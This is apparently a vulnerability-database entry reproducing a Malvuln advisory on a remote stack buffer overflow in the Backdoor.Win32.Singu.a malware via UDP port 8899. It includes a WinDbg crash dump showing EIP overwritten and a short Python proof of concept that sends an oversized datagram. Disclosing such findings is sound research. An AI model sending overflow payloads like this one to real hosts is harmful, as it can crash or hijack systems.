| tiêu đề | Backdoor.Win32.Singu.a / Remote Stack Buffer Overflow (UDP Datagram) |
|---|
| Mô tả | Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c7aabf5d248c6974b4cea6c070d6d441.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Singu.a
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)
Description: The malware listens on UDP ports 2211 and 8899. Third-party attackers who can reach an infected host can send a specially crafted UDP packet to port 8899, triggering a classic buffer overflow overwriting ECX and EIP registers.
Type: PE32
MD5: c7aabf5d248c6974b4cea6c070d6d441
Vuln ID: MVID-2021-0221
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 05/22/2021
Memory Dump:
1334.2330): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1448 ebp=000a1468 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1448 ebp=000a1468 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe
FAULTING_IP:
Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+3b10
00403b10 8b4af8 mov ecx,dword ptr [edx-8]
EXCEPTION_RECORD: 0019f7d8 -- (.exr 0x19f7d8)
ExceptionAddress: 00403b10 (Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+0x00003b10)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414139
Attempt to read from address 41414139
PROCESS_NAME: Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+3b10
00403b10 8b4af8 mov ecx,dword ptr [edx-8]
FAILED_INSTRUCTION_ADDRESS:
+3b10
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0019f828 -- (.cxr 0x19f828)
eax=0019fce4 ebx=000002c9 ecx=00000000 edx=41414141 esi=0019fd5c edi=04282ed4
eip=00403b10 esp=0019fc88 ebp=0019fcf0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+0x3b10:
00403b10 8b4af8 mov ecx,dword ptr [edx-8] ds:002b:41414139=????????
Resetting default scope
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 41414141 to 00403b10
FRAME_ONE_INVALID: 1
STACK_TEXT:
0019fc88 00403b10 backdoor_win32_singu_a+0x3b10
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fd0c 41414141 unknown!printable+0x0
0019fd10 41414141 unknown!printable+0x0
0019fd14 41414141 unknown!printable+0x0
0019fd18 41414141 unknown!printable+0x0
0019fd1c 41414141 unknown!printable+0x0
0019fd20 41414141 unknown!printable+0x0
0019fd24 41414141 unknown!printable+0x0
0019fd28 41414141 unknown!printable+0x0
0019fd2c 41414141 unknown!printable+0x0
0019fd30 41414141 unknown!printable+0x0
0019fd34 41414141 unknown!printable+0x0
0019fd38 41414141 unknown!printable+0x0
0019fd3c 41414141 unknown!printable+0x0
0019fd40 41414141 unknown!printable+0x0
0019fd44 41414141 unknown!printable+0x0
0019fd48 41414141 unknown!printable+0x0
0019fd4c 41414141 unknown!printable+0x0
0019fd50 41414141 unknown!printable+0x0
0019fd54 41414141 unknown!printable+0x0
0019fd58 41414141 unknown!printable+0x0
0019fd5c 41414141 unknown!printable+0x0
0019fd60 41414141 unknown!printable+0x0
0019fd64 41414141 unknown!printable+0x0
0019fd68 41414141 unknown!printable+0x0
0019fd6c 41414141 unknown!printable+0x0
0019fd70 41414141 unknown!printable+0x0
0019fd74 41414141 unknown!printable+0x0
0019fd78 41414141 unknown!printable+0x0
0019fd7c 41414141 unknown!printable+0x0
0019fd80 41414141 unknown!printable+0x0
0019fd84 41414141 unknown!printable+0x0
0019fd88 41414141 unknown!printable+0x0
0019fd8c 41414141 unknown!printable+0x0
0019fd90 41414141 unknown!printable+0x0
0019fd94 41414141 unknown!printable+0x0
0019fd98 41414141 unknown!printable+0x0
0019fd9c 41414141 unknown!printable+0x0
0019fda0 41414141 unknown!printable+0x0
0019fda4 41414141 unknown!printable+0x0
0019fda8 41414141 unknown!printable+0x0
0019fdac 41414141 unknown!printable+0x0
0019fdb0 41414141 unknown!printable+0x0
0019fdb4 41414141 unknown!printable+0x0
0019fdb8 41414141 unknown!printable+0x0
0019fdbc 41414141 unknown!printable+0x0
0019fdc0 41414141 unknown!printable+0x0
0019fdc4 41414141 unknown!printable+0x0
0019fdc8 41414141 unknown!printable+0x0
0019fdcc 41414141 unknown!printable+0x0
0019fdd0 41414141 unknown!printable+0x0
0019fdd4 41414141 unknown!printable+0x0
0019fdd8 41414141 unknown!printable+0x0
0019fddc 41414141 unknown!printable+0x0
0019fde0 41414141 unknown!printable+0x0
0019fde4 41414141 unknown!printable+0x0
0019fde8 41414141 unknown!printable+0x0
0019fdec 41414141 unknown!printable+0x0
0019fdf0 41414141 unknown!printable+0x0
0019fdf4 41414141 unknown!printable+0x0
0019fdf8 41414141 unknown!printable+0x0
0019fdfc 41414141 unknown!printable+0x0
0019fe00 41414141 unknown!printable+0x0
0019fe04 41414141 unknown!printable+0x0
0019fe08 41414141 unknown!printable+0x0
0019fe0c 41414141 unknown!printable+0x0
0019fe10 41414141 unknown!printable+0x0
0019fe14 41414141 unknown!printable+0x0
0019fe18 41414141 unknown!printable+0x0
0019fe1c 41414141 unknown!printable+0x0
0019fe20 41414141 unknown!printable+0x0
0019fe24 41414141 unknown!printable+0x0
0019fe28 41414141 unknown!printable+0x0
0019fe2c 41414141 unknown!printable+0x0
0019fe30 41414141 unknown!printable+0x0
0019fe34 41414141 unknown!printable+0x0
0019fe38 41414141 unknown!printable+0x0
0019fe3c 41414141 unknown!printable+0x0
0019fe40 41414141 unknown!printable+0x0
0019fe44 41414141 unknown!printable+0x0
0019fe48 41414141 unknown!printable+0x0
0019fe4c 41414141 unknown!printable+0x0
0019fe50 41414141 unknown!printable+0x0
0019fe54 41414141 unknown!printable+0x0
0019fe58 41414141 unknown!printable+0x0
0019fe5c 41414141 unknown!printable+0x0
0019fe60 41414141 unknown!printable+0x0
0019fe64 41414141 unknown!printable+0x0
0019fe68 41414141 unknown!printable+0x0
0019fe6c 41414141 unknown!printable+0x0
0019fe70 41414141 unknown!printable+0x0
0019fe74 41414141 unknown!printable+0x0
0019fe78 41414141 unknown!printable+0x0
0019fe7c 41414141 unknown!printable+0x0
0019fe80 41414141 unknown!printable+0x0
0019fe84 41414141 unknown!printable+0x0
0019fe88 41414141 unknown!printable+0x0
0019fe8c 41414141 unknown!printable+0x0
0019fe90 41414141 unknown!printable+0x0
0019fe94 41414141 unknown!printable+0x0
0019fe98 41414141 unknown!printable+0x0
0019fe9c 41414141 unknown!printable+0x0
0019ff9c 77ae4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 77ae4a47 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: .cxr 000000000019F828 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc88 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: backdoor_win32_singu_a+3b10
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441
IMAGE_NAME: Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_singu_a+3b10
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe!Unknown
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=8899
def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="A"*713
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.Singu.a / Remote Stack Buffer Overflow (UDP Datagram)")
print("MD5: c7aabf5d248c6974b4cea6c070d6d441")
print("Malvuln")
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied |
|---|
| Nguồn | ⚠️ https://www.malvuln.com/advisory/c7aabf5d248c6974b4cea6c070d6d441.txt |
|---|
| Người dùng | malvuln (UID 14984) |
|---|
| Đệ trình | 22/05/2021 08:15 (cách đây 5 những năm) |
|---|
| Kiểm duyệt | 22/05/2021 08:41 (25 minutes later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 175473 [Backdoor.Win32.Singu.a Service Port 2211 tràn bộ đệm] |
|---|
| điểm | 20 |
|---|